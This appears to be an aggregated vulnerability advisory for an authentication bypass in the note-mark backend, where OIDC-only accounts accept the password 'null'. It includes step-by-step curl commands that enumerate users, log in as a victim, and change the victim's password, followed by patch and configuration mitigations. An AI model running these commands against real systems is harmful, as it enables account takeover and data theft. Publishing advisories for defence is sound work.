Listen to this Post
How the vulnerability works
The vulnerability resides in the note-mark backend’s password verification logic. When a user is created via OIDC (OpenID Connect), the application stores an empty byte slice as the password field in the database. Meanwhile, the `IsPasswordMatch` function in `backend/db/models.go` contains a timing-attack mitigation that falls back to a hard-coded bcrypt hash of the string `”null”` whenever the stored password is empty. This hard-coded hash is generated once at package initialization using bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost). The `IsPasswordMatch` function checks `len(u.Password) == 0` and substitutes `nullPasswordHash` for the comparison.
The internal login endpoint (POST /api/auth/token) calls `IsPasswordMatch` with the user-supplied password. For any OIDC‑only user (who has an empty password), providing the password `”null”` causes `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte(“null”))` to return nil, indicating a successful match. The server then issues a valid `Auth-Session-Token` cookie, granting full access to that user’s account. No prior authentication or user interaction is required.
The default configuration enables internal login (ENABLE_INTERNAL_LOGIN=true) and anonymous user search (ENABLE_ANONYMOUS_USER_SEARCH=true). An attacker can first enumerate usernames via `GET /api/users/search` unauthenticated, then target any OIDC‑registered user. After gaining a session, the same flawed `IsPasswordMatch` check allows the attacker to change the user’s password by sending `”null”` as the `existingPassword` to PUT /api/users/me/password. This overwrites the empty password with a new value, locking the legitimate user out of the internal login path while the OIDC flow remains functional.
The hard‑coded placeholder hash is identical across all instances of the application, making the attack universally applicable. The flaw exists because the fallback mechanism was designed only to prevent timing attacks but inadvertently introduced a static backdoor credential for all password‑less accounts.
dailycve form (3 words max per line):
Platform: note-mark backend
Version: v0.19.2 default
Vulnerability : Authentication Bypass
Severity: Critical
date: Not specified
Prediction: Patch within 30d
What Undercode Say:
Check if internal login and anonymous search are enabled
curl -s http://localhost:8088/api/info | jq '.allowInternalLogin, .enableAnonymousUserSearch'
Enumerate existing usernames (unauthenticated)
curl -s "http://localhost:8088/api/users/search?q=" | jq '.[].username'
Exploit login with "null" password
curl -i -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"victim","password":"null"}'
Use the obtained cookie to access victim's data
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
Change victim's password to persist access
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
http://localhost:8088/api/users/me/password \
-H 'Content-Type: application/json' \
-d '{"existingPassword":"null","newPassword":"attacker-owned"}'
Exploit:
- Start a note-mark instance with OIDC enabled (defaults allow internal login and user search).
2. Identify an OIDC‑registered username via `GET /api/users/search`.
3. Send `POST /api/auth/token` with `{“username”:”“,”password”:”null”}`.
- Receive session cookie, then read/modify victim’s notebooks and notes.
- Optionally change password via `PUT /api/users/me/password` using `”null”` as existing password.
Protection from this CVE
- Apply the official fix: after loading the user, check `len(user.Password) == 0` and reject the login before calling
IsPasswordMatch. - Alternatively, replace the hard‑coded `nullPasswordHash` with a per‑instance random string (e.g., using
uuid.NewString()). - Disable internal login if only OIDC is needed: set
ENABLE_INTERNAL_LOGIN=false. - Disable anonymous user search: set
ENABLE_ANONYMOUS_USER_SEARCH=false. - Upgrade to a patched version once available (check note-mark GitHub releases).
Impact
Complete unauthenticated account takeover for every OIDC‑only user. An attacker can read all private notebooks, note contents, uploaded assets, and perform any write/edit/delete operation on behalf of the victim. After changing the user’s password, the legitimate owner loses internal login access, resulting in persistent compromise. The default configuration makes any note-mark deployment with OIDC enabled vulnerable without additional misconfiguration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

